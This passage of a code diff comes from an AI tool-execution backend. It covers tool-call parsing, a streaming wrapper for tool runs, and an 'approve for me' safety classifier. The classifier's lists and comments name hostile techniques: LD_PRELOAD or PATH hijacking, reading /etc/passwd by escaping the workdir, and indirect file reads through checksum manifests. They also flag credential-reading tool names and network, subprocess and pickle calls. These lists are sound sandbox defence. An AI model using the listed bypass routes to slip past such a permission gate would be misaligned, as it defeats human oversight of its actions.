+                _balanced_brace_end(body, json_start)
+                if (json_start < len(body) and body[json_start] == "{")
+                else None
+            )
+            if brace_end is None:
+                pos = arg_begin + len(_KIMI_ARG_BEGIN)
+            else:
+                pos = brace_end + 1
+            continue
+        json_start = arg_begin + len(_KIMI_ARG_BEGIN)
+        # Balanced brace lets a truncated trailing end marker still surface a call.
+        while json_start < len(body) and body[json_start] in " \t\n\r":
+            json_start += 1
+        if json_start >= len(body) or body[json_start] != "{":
+            pos = arg_begin + len(_KIMI_ARG_BEGIN)
+            continue
+        brace_end = _balanced_brace_end(body, json_start)
+        if brace_end is None:
+            # Malformed / truncated JSON: skip this call but keep parsing later ones
+            # instead of dropping the rest of the section (vLLM recovers them).
+            nxt = body.find(_KIMI_CALL_BEGIN, json_start)
+            if nxt < 0:
+                break
+            pos = nxt
+            continue
+        try:
+            args = json.loads(body[json_start : brace_end + 1])
+        except (json.JSONDecodeError, ValueError):
+            pos = brace_end + 1
+            continue
+        if not isinstance(args, dict):
+            pos = brace_end + 1
+            continue
+        if not allow_incomplete:
+            # Strict mode: this call must close with <|tool_call_end|> before the next
+            # <|tool_call_begin|>; otherwise it is truncated, so reject it.
+            end_marker = body.find(_KIMI_CALL_END, brace_end + 1)
+            next_call = body.find(_KIMI_CALL_BEGIN, brace_end + 1)
+            if end_marker < 0 or (next_call >= 0 and end_marker > next_call):
+                pos = brace_end + 1
+                continue
+        if name:
+            out.append(
+                {
+                    "id": full_id or f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(args),
+                    },
+                }
+            )
+        # Advance past the JSON; seeking <|tool_call_end|> could skip a following call
+        # when this one's end marker is missing.
+        pos = brace_end + 1
+    return out
diff --git a/studio/backend/core/inference/tool_loop_controller.py b/studio/backend/core/inference/tool_loop_controller.py
index cb751ede3d..f7ed450d11 100644
--- a/studio/backend/core/inference/tool_loop_controller.py
+++ b/studio/backend/core/inference/tool_loop_controller.py
@@ -233,15 +233,50 @@ def is_tool_error(result: str) -> bool:
     return isinstance(result, str) and result.lstrip().startswith(TOOL_ERROR_PREFIXES)
 
 
+def _strip_mcp_image_suffix(result: str) -> str:
+    """Drop a trailing __MCP_IMAGES__ envelope only when it is the valid JSON
+    image array appended by _flatten_result, so legit tool text that merely
+    mentions the marker is not truncated."""
+    head, sep, payload = result.rpartition("\n__MCP_IMAGES__:")
+    if not sep:
+        return result
+    try:
+        images = json.loads(payload)
+    except (ValueError, RecursionError):
+        return result
+    if not isinstance(images, list) or not images:
+        return result
+    if not all(
+        isinstance(img, dict)
+        and isinstance(img.get("data"), str)
+        and isinstance(img.get("mimeType"), str)
+        for img in images
+    ):
+        return result
+    return head.rstrip()
+
+
 def strip_result_for_model(result: str) -> str:
     """Remove frontend-only sentinels (image paths, RAG source map) before
     feeding the result back to the model."""
+    result = _strip_mcp_image_suffix(result)
     for sentinel in ("__IMAGES__:", "__RAG_SOURCES__:"):
         if sentinel in result:
             result = result.split(sentinel, 1)[0].rstrip()
     return result
 
 
+def append_deferred_nudges(conversation: list, msgs: Sequence[dict]) -> None:
+    """Append a batch's no-op nudges as one deduped ``role=user`` message.
+
+    Deferred to after the batch's tool results so a no-op never splits an
+    assistant's ``tool_calls`` from their ``role=tool`` results.
+    """
+    contents = list(dict.fromkeys(msg["content"] for msg in msgs))
+    if contents:
+        conversation.append({"role": "user", "content": "\n\n".join(contents)})
+
+
 def _tool_name_from_schema(tool: Mapping[str, Any]) -> str:
     function = tool.get("function")
     if not isinstance(function, Mapping):
@@ -253,8 +288,9 @@ def _tool_name_from_schema(tool: Mapping[str, Any]) -> str:
 def _noop_result(reason: NoopReason, tool_name: str) -> str:
     if reason == "duplicate":
         return (
-            "The previous tool request was not executed because this exact "
-            "tool call already completed successfully. Do not repeat the same "
+            f"One earlier request to call tool '{tool_name}' in this batch was "
+            "not executed because an identical call had already completed "
+            "successfully. Do not repeat the same "
             "tool call. Continue with a different enabled tool if that would "
             "materially help, or provide the final answer if you have enough "
             "information."
@@ -267,8 +303,8 @@ def _noop_result(reason: NoopReason, tool_name: str) -> str:
             "the requested final note or answer."
         )
     return (
-        f"The previous tool request was not executed because tool "
-        f"'{tool_name}' is not enabled for this request. Provide the "
+        f"One earlier request to call tool '{tool_name}' in this batch was "
+        "not executed because that tool is not enabled for this request. Provide the "
         "final answer now without calling more tools."
     )
 
diff --git a/studio/backend/core/inference/tool_stream_exec.py b/studio/backend/core/inference/tool_stream_exec.py
new file mode 100644
index 0000000000..9cdb21bf8a
--- /dev/null
+++ b/studio/backend/core/inference/tool_stream_exec.py
@@ -0,0 +1,284 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Streaming wrapper around blocking server-side tool execution.
+
+``stream_tool_execution`` runs a blocking tool call in a worker thread and
+turns it into a generator that yields:
+
+* ``{"type": "tool_output", "tool_name", "tool_call_id", "text"}`` -- an
+  incremental stdout/stderr chunk (python/terminal tools) for live UI output;
+* ``{"type": "heartbeat"}`` -- emitted whenever nothing else has been yielded
+  for ``heartbeat_interval_s`` seconds, so the SSE route can write a
+  keepalive and reverse proxies (Cloudflare tunnels cap idle streams at
+  ~100 s) never see a silent connection while a tool runs;
+
+and *returns* the tool's final result string via ``StopIteration.value``
+(``result = yield from stream_tool_execution(...)``). The returned result is
+byte-identical to calling the tool directly, so tool-result parsing, nudging,
+and healing downstream are untouched.
+"""
+
+from __future__ import annotations
+
+import inspect
+import queue
+import threading
+import time
+from typing import Any, Callable, Generator
+
+from loggers import get_logger
+
+logger = get_logger(__name__)
+
+
+def accepts_output_callback(func: Callable[..., str]) -> bool:
+    """Whether an injectable ``execute_tool`` supports ``output_callback``.
+
+    ``execute_tool`` is replaceable (tests inject fakes / the pre-PR signature),
+    so forward the kwarg only when the callable declares it or takes ``**kwargs``
+    (passing it unconditionally would ``TypeError`` on an old signature).
+    """
+    try:
+        params = inspect.signature(func).parameters
+    except (TypeError, ValueError):
+        return False
+    if "output_callback" in params:
+        return True
+    return any(p.kind is inspect.Parameter.VAR_KEYWORD for p in params.values())
+
+
+# Cadence of heartbeat events while a tool blocks with no output. Well under
+# common proxy idle caps (Cloudflare ~100 s, nginx default 60 s).
+TOOL_HEARTBEAT_INTERVAL_S = 10.0
+
+# How often the wrapper wakes to poll for output / completion / cancellation.
+_POLL_INTERVAL_S = 0.25
+
+# Upper bound on how long teardown waits for the worker once the stream is
+# closed or errors. A cancel-observing tool returns within this after
+# ``cancel_event`` is set; a cancel-ignoring one is a daemon left to finish on
+# its own rather than blocking teardown for the tool's full timeout.
+_WORKER_JOIN_TIMEOUT_S = 5.0
+
+# Cap on total streamed live-output characters per tool call, bounding the
+# transient UI stream so a tight print loop cannot flood the SSE channel. Much
+# higher than the model-visible result cap (tools._MAX_OUTPUT_CHARS) since the
+# UI keeps the live stream as the displayed output when the result is truncated.
+TOOL_OUTPUT_STREAM_MAX_CHARS = 400_000
+
+_STREAM_CAPPED_NOTICE = "\n... (further live output not streamed)\n"
+
+
+def _drain_queue(q: "queue.Queue", sentinel: object, max_chars: int | None) -> tuple[str, bool]:
+    """Pull every currently-queued item, joining chunks in FIFO order.
+
+    With ``max_chars`` set, stop concatenating at the budget and discard the
+    remaining chunks in place, bounding peak allocation when a chatty tool queues
+    far more than the cap before the consumer wakes. The crossing chunk is sliced
+    to one char past the budget, enough for the caller's truncation to stay
+    byte-identical. Returns ``(joined_text, hit_sentinel)``; the surplus is still
+    scanned so completion is detected promptly.
+    """
+    parts: list[str] = []
+    total = 0
+    dropping = False
+    hit_sentinel = False
+    while True:
+        try:
+            item = q.get_nowait()
+        except queue.Empty:
+            break
+        if item is sentinel:
+            hit_sentinel = True
+            break
+        if dropping:
+            continue
+        if max_chars is not None and total + len(item) > max_chars:
+            # Keep one char past the budget as the overflow signal; drop the rest.
+            parts.append(item[: max(0, max_chars - total) + 1])
+            dropping = True
+            continue
+        parts.append(item)
+        total += len(item)
+    return "".join(parts), hit_sentinel
+
+
+def stream_tool_execution(
+    invoke: Callable[[Callable[[str], None]], str],
+    *,
+    tool_name: str,
+    tool_call_id: str = "",
+    cancel_event: Any = None,
+    heartbeat_interval_s: float = TOOL_HEARTBEAT_INTERVAL_S,
+    poll_interval_s: float = _POLL_INTERVAL_S,
+) -> Generator[dict, None, str]:
+    """Run ``invoke(output_callback)`` in a thread; yield live events; return the result.
+
+    ``invoke`` receives a thread-safe ``callable(str)`` it may call with
+    incremental output chunks (or ignore entirely). Exceptions raised by the
+    tool propagate to the caller unchanged after the worker thread finishes.
+
+    ``cancel_event`` is the request-level cancellation signal already handed to
+    the tool. If the consumer closes this generator early (an SSE disconnect
+    calls ``gen.close()``, raising ``GeneratorExit`` at a ``yield``), the wrapper
+    sets it so a cancel-observing tool stops, then joins the worker with a bounded
+    timeout. Set ONLY on that abnormal-exit path, never on a clean finish, because
+    the event is shared across a turn's tool calls and setting it early would
+    abort the next tool.
+    """
+    output_queue: queue.Queue[Any] = queue.Queue()
+    done_sentinel = object()
+    outcome: dict[str, Any] = {}
+
+    # Bound accepted output at the PRODUCER boundary: the consumer-side cap alone
+    # wouldn't stop a fast worker enqueuing unboundedly while a slow SSE client
+    # backpressures. Accept at most one char past the cap (so the consumer still
+    # emits the capped notice) and drop the rest. The final result is captured
+    # independently, so this never changes the byte-identical result.
+    accepted_output_chars = 0
+    accepted_output_lock = threading.Lock()
+
+    def _on_output(text: str) -> None:
+        nonlocal accepted_output_chars
+        if not text:
+            return
+        with accepted_output_lock:
+            remaining = TOOL_OUTPUT_STREAM_MAX_CHARS + 1 - accepted_output_chars
+            if remaining <= 0:
+                return
+            accepted = text[:remaining]
+            accepted_output_chars += len(accepted)
+        output_queue.put(accepted)
+
+    def _run() -> None:
+        try:
+            outcome["result"] = invoke(_on_output)
+        except BaseException as exc:  # noqa: BLE001 - re-raised on the caller side
+            outcome["error"] = exc
+        finally:
+            # Posted after the result/error is recorded; wakes the consumer
+            # immediately so fast tools pay no poll-interval latency.
+            output_queue.put(done_sentinel)
+
+    worker = threading.Thread(
+        target = _run,
+        daemon = True,
+        name = f"tool-exec-{tool_name or 'unknown'}",
+    )
+    worker.start()
+
+    # Heartbeats are paced by counting idle queue polls rather than a wall clock
+    # (tests patch ``time.monotonic`` globally, so the wrapper must not read it).
+    idle_polls_per_heartbeat = max(1, int(round(heartbeat_interval_s / poll_interval_s)))
+    idle_polls = 0
+    streamed_chars = 0
+    stream_capped = False
+    finished = False
+
+    def _drain_pending(max_chars: int | None = None) -> str:
+        nonlocal finished
+        text, hit_sentinel = _drain_queue(output_queue, done_sentinel, max_chars)
+        if hit_sentinel:
+            finished = True
+        return text
+
+    def _drain_and_drop() -> None:
+        """Discard the current and every queued chunk without concatenating.
+
+        Past the cap every chunk is dropped, so don't pay to build a combined
+        string only to drop it. Still detect completion so the loop can exit.
+        """
+        nonlocal finished
+        while True:
+            try:
+                item = output_queue.get_nowait()
+            except queue.Empty:
+                return
+            if item is done_sentinel:
+                finished = True
+                return
+
+    abnormal_exit = False
+    try:
+        while not finished:
+            try:
+                item = output_queue.get(timeout = poll_interval_s)
+            except queue.Empty:
+                # A disconnect sets cancel_event while the worker is silent;
+                # surface a heartbeat this poll so the route regains control and
+                # tears down at once, not after a full heartbeat interval.
+                if cancel_event is not None and cancel_event.is_set():
+                    yield {"type": "heartbeat"}
+                    continue
+                idle_polls += 1
+                if idle_polls >= idle_polls_per_heartbeat:
+                    idle_polls = 0
+                    yield {"type": "heartbeat"}
+                continue
+
+            if item is done_sentinel:
+                break
+
+            if stream_capped:
+                # Past the cap: drop this chunk and every queued sibling (see
+                # _drain_and_drop). Pace with one time.sleep per poll (not
+                # time.monotonic -- tests patch the clock), counted as an idle
+                # poll so heartbeats keep flowing while the queue stays non-empty.
+                _drain_and_drop()
+                if finished:
+                    break
+                time.sleep(poll_interval_s)
+                idle_polls += 1
+                if idle_polls >= idle_polls_per_heartbeat:
+                    idle_polls = 0
+                    yield {"type": "heartbeat"}
+                continue
+
+            # Bound the join to the remaining budget so the crossing batch can't
+            # allocate far past the cap (surplus is truncated below anyway); the
+            # prefix is long enough that truncation stays byte-identical.
+            budget = TOOL_OUTPUT_STREAM_MAX_CHARS - streamed_chars
+            chunk = item + _drain_pending(max_chars = budget - len(item))
+            idle_polls = 0
+            if streamed_chars + len(chunk) > TOOL_OUTPUT_STREAM_MAX_CHARS:
+                chunk = chunk[: max(0, TOOL_OUTPUT_STREAM_MAX_CHARS - streamed_chars)]
+                chunk += _STREAM_CAPPED_NOTICE
+                stream_capped = True
+            streamed_chars += len(chunk)
+            if chunk:
+                yield {
+                    "type": "tool_output",
+                    "tool_name": tool_name,
+                    "tool_call_id": tool_call_id,
+                    "text": chunk,
+                }
+    except BaseException:
+        # The loop only raises when the consumer closes us early: an SSE
+        # disconnect calls gen.close() (GeneratorExit at the yield) or the route
+        # throws in. Signal cancellation so a cancel-observing tool returns; the
+        # daemon worker is then abandoned (see finally). Re-raise so the caller
+        # sees the real cause (GeneratorExit must not be swallowed). Runs ONLY on
+        # abnormal exit, so the shared cancel_event is never set out from under
+        # the next tool in a clean multi-tool turn.
+        abnormal_exit = True
+        if cancel_event is not None:
+            try:
+                cancel_event.set()
+            except Exception:
+                pass
+        raise
+    finally:
+        # Clean finish: the worker already recorded its result and queued the
+        # sentinel we consumed, so this join returns at once. Abnormal exit:
+        # cancel_event is set and the daemon worker abandoned, so join with a zero
+        # timeout -- teardown never blocks the caller (the route may close this
+        # generator on the event loop), and the daemon cannot outlive the process.
+        worker.join(timeout = 0 if abnormal_exit else _WORKER_JOIN_TIMEOUT_S)
+
+    error = outcome.get("error")
+    if error is not None:
+        raise error
+    # Returned verbatim (the loop's record_result handles non-str), so the
+    # final tool result is byte-identical to a direct execute_tool call.
+    return outcome.get("result")
diff --git a/studio/backend/core/inference/tools.py b/studio/backend/core/inference/tools.py
index 82c50933fc..5fd57e1b2c 100644
--- a/studio/backend/core/inference/tools.py
+++ b/studio/backend/core/inference/tools.py
@@ -5,6 +5,8 @@
 (DuckDuckGo), Python code execution, and terminal commands."""
 
 import ast
+import codecs
+import fnmatch
 import http.client
 import os
 import signal
@@ -12,6 +14,7 @@ import signal
 os.environ["UNSLOTH_IS_PRESENT"] = "1"
 
 import asyncio
+import queue
 import random
 import re
 import shlex
@@ -20,6 +23,8 @@ import subprocess
 import sys
 import tempfile
 import threading
+import time
+import urllib.parse
 import urllib.request
 
 from core.inference.mcp_client import (
@@ -71,7 +76,21 @@ if sys.platform != "win32":
 # Raster-image allowlist for sandbox file serving.
 # No .svg (XSS via embedded scripts), no .html, no .pdf.
 _IMAGE_EXTS = frozenset({".png", ".jpg", ".jpeg", ".gif", ".webp", ".bmp"})
-_MAX_OUTPUT_CHARS = 8000  # truncate long output
+
+
+def _env_int(name: str, default: int) -> int:
+    """Read an int env override; fall back to ``default`` on unset/garbage."""
+    try:
+        value = int(os.environ.get(name, "") or default)
+    except (TypeError, ValueError):
+        return default
+    return value if value > 0 else default
+
+
+# Model-visible cap on python/terminal tool results (protects the context
+# window). The live UI stream is capped separately and higher, so _truncate's
+# notice stays mode-neutral (see tool_stream_exec.TOOL_OUTPUT_STREAM_MAX_CHARS).
+_MAX_OUTPUT_CHARS = _env_int("UNSLOTH_TOOL_RESULT_MAX_CHARS", 16000)
 _BLOCKED_COMMANDS_COMMON = frozenset(
     {
         "rm",
@@ -150,6 +169,42 @@ _COMMAND_PREFIXES = frozenset(
     }
 )
 _ASSIGNMENT_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=")
+# Env-assignment prefixes that change command lookup or code loading, so
+# `LD_PRELOAD=x ls` / `PATH=. ls` run attacker code before the read-only
+# utility. LD_*/DYLD_* and any *PATH are covered by the prefix/suffix check.
+_AUTO_UNSAFE_ENV_ASSIGN = frozenset(
+    {
+        "IFS",
+        "BASH_ENV",
+        "ENV",
+        "SHELLOPTS",
+        "BASHOPTS",
+        "GLOBIGNORE",
+        "PROMPT_COMMAND",
+        "PS4",
+        "PYTHONSTARTUP",
+        "PYTHONHOME",
+        "NODE_OPTIONS",
+        "PERL5OPT",
+        "PERL5LIB",
+        "RUBYOPT",
+        "RUBYLIB",
+        # LESSOPEN/LESSCLOSE run an input preprocessor command for less.
+        "LESSOPEN",
+        "LESSCLOSE",
+    }
+)
+
+
+def _env_assignment_is_unsafe(name: str) -> bool:
+    """True if a NAME=value prefix affects command lookup/loading."""
+    return (
+        name in _AUTO_UNSAFE_ENV_ASSIGN
+        or name.startswith(("LD_", "DYLD_"))
+        or name.endswith("PATH")
+    )
+
+
 _FIND_EXEC_FLAGS = frozenset({"-exec", "-execdir", "-ok", "-okdir"})
 
 
@@ -166,8 +221,7 @@ def _find_blocked_commands(command: str) -> set[str]:
     blocked: set[str] = set()
 
     # punctuation_chars splits separators into their own tokens, so command
-    # position is detected even in `echo done; rm -rf x` (no whitespace) or
-    # quote-split names (`r''m` collapses to `rm` after `;`).
+    # position is detected even in `echo done; rm -rf x` (no whitespace).
     try:
         if sys.platform == "win32":
             tokens = shlex.split(command, posix = False)
@@ -271,13 +325,2181 @@ def _find_blocked_commands(command: str) -> set[str]:
     return blocked
 
 
+# Directory holding the sandbox ``sitecustomize.py`` shim (code-interpreter
+# path remap); placed on the sandboxed child's PYTHONPATH in _build_safe_env.
+_SANDBOX_SITE_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "sandbox_site")
+# ── "Approve for me" (permission_mode="auto") safety detection ──────────────
+# Auto mode pauses only calls classified here as potentially unsafe. The sandbox
+# and hard blocks (blocklist, rlimits) still apply at run time; this gate only
+# decides prompting, and fails closed: anything not provably read-only asks.
+
+# Read-only commands allowed to run without confirmation in auto mode.
+_AUTO_SAFE_TERMINAL_COMMANDS = frozenset(
+    {
+        "ls",
+        "dir",
+        "pwd",
+        # cd absent: `cd /; cat etc/passwd` escapes the workdir for a later
+        # relative read the path scan cannot see, so cd always asks.
+        "cat",
+        "head",
+        "tail",
+        # less/more absent: their pager escapes (+cmd, !shell, -o, LESSOPEN) can
+        # run a command or write a file, so they always ask.
+        "grep",
+        "egrep",
+        "fgrep",
+        "rg",
+        "find",
+        "fd",
+        "wc",
+        "sort",
+        "uniq",
+        "cut",
+        "tr",
+        "diff",
+        "cmp",
+        "file",
+        "stat",
+        "du",
+        "df",
+        # ps absent: BSD env flags (ps auxe, ps eww) dump a parent's unscrubbed
+        # env and can't be flag-parsed reliably, so ps always asks.
+        "date",
+        "cal",
+        "whoami",
+        "id",
+        "uname",
+        "hostname",
+        "uptime",
+        "which",
+        "whereis",
+        "type",
+        "basename",
+        "dirname",
+        "realpath",
+        "readlink",
+        "md5",
+        "md5sum",
+        "shasum",
+        "sha1sum",
+        "sha256sum",
+        "cksum",
+        "tree",
+        "printenv",
+        "echo",
+        "printf",
+        "true",
+        "false",
+        "test",
+        "[",
+        "seq",
+        "nl",
+        "od",
+        "xxd",
+        "hexdump",
+        "strings",
+        "column",
+        "paste",
+        "join",
+        "comm",
+        "expand",
+        "unexpand",
+        "fold",
+        "fmt",
+        "rev",
+        "tac",
+        "locale",
+        "arch",
+        "nproc",
+        "sw_vers",
+        "jq",
+    }
+)
+# Flags that turn an otherwise read-only command into a writer or executor
+# (sort -o FILE, tree -o FILE, xxd -r IN OUT, find -exec/-delete/...).
+_AUTO_UNSAFE_COMMAND_FLAGS = {
+    # --files0-from=F makes sort read the NUL-separated list of input files
+    # named in F, so a crafted list reads arbitrary host files indirectly.
+    "sort": frozenset(
+        {"-o", "--output", "--compress-program", "-T", "--temporary-directory", "--files0-from"}
+    ),
+    "tree": frozenset({"-o"}),
+    "xxd": frozenset({"-r"}),
+    # -c/--check makes a checksum tool read a manifest file and then read every
+    # path it names, so a manifest listing /etc/passwd turns `sha256sum -c list`
+    # into an indirect host-file read; the digest form (sha256sum file) only reads
+    # the named files.
+    "md5sum": frozenset({"-c", "--check"}),
+    "sha1sum": frozenset({"-c", "--check"}),
+    "sha256sum": frozenset({"-c", "--check"}),
+    "shasum": frozenset({"-c", "--check"}),
+    "cksum": frozenset({"-c", "--check"}),
+    # GNU time -o/--output/-a/--append FILE writes timing output; time is a
+    # wrapper, so the flag is checked before the wrapped command like env -C.
+    "time": frozenset({"-o", "--output", "-a", "--append"}),
+    # rg runs an arbitrary program per file with --pre/--hostname-bin.
+    "rg": frozenset({"--pre", "--hostname-bin"}),
+    # env -C/--chdir escapes the workdir; -S/--split-string builds a command.
+    "env": frozenset({"-C", "--chdir", "-S", "--split-string"}),
+    # ionice -p/-P/-u change the I/O priority of an already running process /
+    # group / user instead of forwarding to a wrapped read-only command, so a
+    # bare `ionice -c 3 -p <pid>` mutates another process. ionice stays a safe
+    # wrapper for `ionice -c 3 <cmd>`; only the process-target flags ask.
+    "ionice": frozenset({"-p", "-P", "-u"}),
+    # printf -v NAME assigns to a shell var, so `printf -v PATH %s .; ls` runs
+    # ./ls from the workdir.
+    "printf": frozenset({"-v"}),
+    # wc/du/find --files0-from=F read the NUL-separated list of input paths named
+    # in F, so a crafted list reads arbitrary host files past the literal path /
+    # root checks, like sort --files0-from. find spells it -files0-from (a primary).
+    "wc": frozenset({"--files0-from"}),
+    "du": frozenset({"--files0-from"}),
+    "find": frozenset(
+        {
+            "-exec",
+            "-execdir",
+            "-ok",
+            "-okdir",
+            "-delete",
+            "-fprint",
+            "-fprint0",
+            "-fprintf",
+            "-fls",
+            "-files0-from",
+        }
+    ),
+    # fd -x/--exec/-X/--exec-batch run a command per result;
+    # --base-directory/--search-path move the search root outside the workdir.
+    "fd": frozenset({"-x", "--exec", "-X", "--exec-batch", "--base-directory", "--search-path"}),
+    # date -s/--set writes the clock; display forms (+FORMAT, -d/-u/-R/-r) read.
+    "date": frozenset({"-s", "--set"}),
+    # file -C/--compile writes a compiled .mgc magic database; ident forms read.
+    "file": frozenset({"-C", "--compile"}),
+    # hostname -F/--file, -b/--boot set the hostname; display flags only read.
+    "hostname": frozenset({"-F", "--file", "-b", "--boot"}),
+}
+# Commands safe only without a mutating positional: `hostname NAME` sets the
+# hostname, `date MMDDhhmm...` sets the clock (a +FORMAT token or a display
+# flag's value stays read-only), so any other positional asks.
+_AUTO_ARG_SENSITIVE_COMMANDS = frozenset({"hostname", "date"})
+# date display flags taking a value token (-d STRING, -r FILE, -f FILE); the
+# value is not a clock-setting positional, so it is skipped.
+_DATE_DISPLAY_VALUE_FLAGS = frozenset({"-d", "--date", "-r", "--reference", "-f", "--file"})
+# Commands that write their 2nd positional (uniq [INPUT [OUTPUT]], xxd [infile
+# [outfile]]): the 1st file reads to stdout, but a second file positional
+# overwrites it, like `sort -o`.
+_AUTO_SECOND_POSITIONAL_WRITES = frozenset({"uniq", "xxd"})
+# Value-taking option flags for those commands whose argument is a separate token
+# (uniq -f 2, xxd -c 16). The value must be consumed so a numeric option value is
+# not miscounted as the output-file positional, and, conversely, a file that is
+# literally named with digits (uniq 123 out) is still counted.
+_SECOND_POSITIONAL_VALUE_FLAGS = {
+    "uniq": frozenset({"-f", "--skip-fields", "-s", "--skip-chars", "-w", "--check-chars"}),
+    "xxd": frozenset(
+        {"-c", "--cols", "-s", "--seek", "-l", "--len", "-g", "--groupsize", "-o", "--offset"}
+    ),
+}
+# find/fd group with (...) which resets command context, so scan every token for
+# these once find/fd appears anywhere.
+_AUTO_UNSAFE_FIND_LIKE_FLAGS = _AUTO_UNSAFE_COMMAND_FLAGS["find"] | _AUTO_UNSAFE_COMMAND_FLAGS["fd"]
+# Recursive readers with an absolute-path target escape the workdir onto host
+# files (grep -R TOKEN /home, rg TOKEN /), so they ask.
+_AUTO_RECURSIVE_SEARCH = frozenset({"grep", "egrep", "fgrep", "rg", "ug", "find", "fd"})
+# Directory walkers that always recurse (tree /home, du /) read the whole host
+# subtree under an absolute/tilde root, like a recursive search. ls only recurses
+# with -R/--recursive, so it is gated separately when that flag is present.
+_AUTO_RECURSIVE_LISTERS = frozenset({"tree", "du"})
+# Benign wrappers: safe AND forward command position to their target (checked in
+# turn). sudo/su/chroot/etc. are absent, so they classify as unsafe. xargs is
+# absent too: it appends arguments read from stdin that this scan never sees, so
+# `echo -o out /etc/passwd | xargs sort` forwards to `sort -o out /etc/passwd`
+# (a write + sensitive read) while only the allow-listed literals are visible.
+_AUTO_SAFE_WRAPPERS = frozenset(
+    {"env", "command", "time", "timeout", "nice", "ionice", "stdbuf", "nohup"}
+)
+
+# MCP tools whose names look read-only auto-run; anything else asks.
+_AUTO_SAFE_MCP_TOOL_RE = re.compile(
+    r"^(get|list|search|read|fetch|query|find|describe|show|view|lookup|"
+    r"retrieve|count|status|info|help|check)(?:[_\-].*)?$",
+    re.IGNORECASE,
+)
+# A mutating verb anywhere in the name overrides a read-only prefix, so a
+# compound name like get_or_create_issue or read_and_delete_file still asks.
+_AUTO_UNSAFE_MCP_VERB_RE = re.compile(
+    r"(?:^|[_\-])(?:create|update|delete|remove|write|set|add|send|post|put|"
+    r"patch|insert|drop|kill|exec|execute|run|deploy|publish|move|rename|edit|"
+    r"modify|upload|replace|revoke|grant|approve|merge|close|cancel|pay|"
+    r"transfer|buy|sell|reset|clear|purge|destroy|terminate|revert|rollback|"
+    r"trigger|enable|disable|install|uninstall|restart|stop|start|"
+    r"save|archive|submit|commit|push|sync|register|"
+    r"clone|checkout|comment|fork|tag|invite|share|append|prepend|"
+    r"copy|duplicate|import|export|download|backup|restore|snapshot|mirror|"
+    r"upsert|assign|mark|subscribe|unsubscribe|reply|notify)(?:[_\-]|$)",
+    re.IGNORECASE,
+)
+# A read-named MCP tool that returns a secret is still a sensitive read, so a
+# credential noun anywhere in the name (read_secret, list_tokens,
+# get_credentials, fetch_api_key) asks even without a mutating verb or a path/SQL
+# argument. Scoped nouns (api/access/private/... _key) avoid flagging benign
+# keys like a primary_key or keyboard lookup.
+_AUTO_SENSITIVE_MCP_NOUN_RE = re.compile(
+    r"(?:^|[_\-])(?:"
+    r"secret|token|credential|password|passwd|passphrase|apikey|"
+    r"(?:api|access|private|secret|signing|encryption|auth|session)[_\-]?keys?"
+    r")s?(?:[_\-]|$)",
+    re.IGNORECASE,
+)
+
+# Python: modules whose import alone signals side effects auto mode should ask
+# about (process spawning, network, bulk file ops, low-level memory).
+_AUTO_UNSAFE_PY_MODULES = frozenset(
+    {
+        "subprocess",
+        "shutil",
+        "socket",
+        "ctypes",
+        "multiprocessing",
+        "pty",
+        "fcntl",
+        "requests",
+        "urllib",
+        "urllib3",
+        "http",
+        "httpx",
+        "aiohttp",
+        # huggingface_hub.hf_hub_download / snapshot_download fetch remote repo
+        # files over the network and write them to an on-disk cache.
+        "huggingface_hub",
+        # websockets opens a network connection; socketserver binds a listener.
+        "websockets",
+        "socketserver",
+        "ftplib",
+        "smtplib",
+        "telnetlib",
+        "paramiko",
+        # mail/news/rpc/browser stdlib clients open outbound connections
+        # (imaplib, poplib, xmlrpc.client, webbrowser.open).
+        "imaplib",
+        "poplib",
+        "nntplib",
+        "xmlrpc",
+        "webbrowser",
+        "tempfile",
+        # deserialization that can execute arbitrary code on load.
+        "pickle",
+        "marshal",
+        "shelve",
+        "dill",
+        # dbm.open(file, "c"/"n") creates files; treat the family as writers.
+        "dbm",
+        # sqlite3.connect(path) creates/mutates a database file (and runs DDL/DML
+        # without an open()/writer attribute), like dbm.
+        "sqlite3",
+        # runpy runs a script/module as code.
+        "runpy",
+        # ensurepip.bootstrap installs pip and venv.create builds an environment;
+        # both write to disk and can fetch/install packages.
+        "ensurepip",
+        "venv",
+    }
+)
+# Attribute calls that mutate the filesystem / spawn processes (os.remove,
+# Path.write_text, sock.connect, ...) regardless of how the module was bound.
+_AUTO_UNSAFE_PY_ATTRS = frozenset(
+    {
+        "remove",
+        "unlink",
+        "rmdir",
+        "removedirs",
+        "rename",
+        "renames",
+        "replace",
+        "rmtree",
+        "move",
+        "copy",
+        "copy2",
+        "copyfile",
+        "copytree",
+        "chmod",
+        "chown",
+        "system",
+        "popen",
+        "execv",
+        "execve",
+        "execl",
+        "execlp",
+        "execvp",
+        "spawnl",
+        "spawnv",
+        # os.startfile launches a program via its Windows association.
+        "startfile",
+        "fork",
+        "kill",
+        "killpg",
+        "symlink",
+        "link",
+        "mkdir",
+        "makedirs",
+        "truncate",
+        "touch",
+        "write_text",
+        "write_bytes",
+        "urlopen",
+        "urlretrieve",
+        "connect",
+        "bind",
+        "sendall",
+        # pathlib link creators, os node/metadata mutators, dynamic import.
+        "symlink_to",
+        "hardlink_to",
+        "link_to",
+        "mkfifo",
+        "mknod",
+        "utime",
+        # os.setxattr / os.removexattr mutate extended attributes, like chmod.
+        "setxattr",
+        "removexattr",
+        "import_module",
+        # loader.exec_module runs a module's code like import_module; archive
+        # extractall/extract write arbitrary files (zip-slip): extract takes a
+        # single member but an attacker-controlled member path still escapes.
+        "exec_module",
+        "extractall",
+        "extract",
+        "FileIO",
+        # asyncio subprocess spawners run a program past the terminal blocklist.
+        "create_subprocess_exec",
+        "create_subprocess_shell",
+        "subprocess_exec",
+        "subprocess_shell",
+        # asyncio outbound connections / listeners (open_connection,
+        # create_connection/server and unix variants), like socket.connect.
+        "open_connection",
+        "create_connection",
+        "create_server",
+        "create_unix_connection",
+        "create_unix_server",
+        # more asyncio listen/connect + UDP/raw socket helpers.
+        "start_server",
+        "start_unix_server",
+        "open_unix_connection",
+        "create_datagram_endpoint",
+        "sock_connect",
+        # os.chdir escapes the workdir; runpy helpers run arbitrary code.
+        "chdir",
+        "fchdir",
+        "run_path",
+        "run_module",
+        # types.FunctionType wraps a compiled code object into a callable, a
+        # dynamic-execution vector; pandas read_pickle deserializes (runs code).
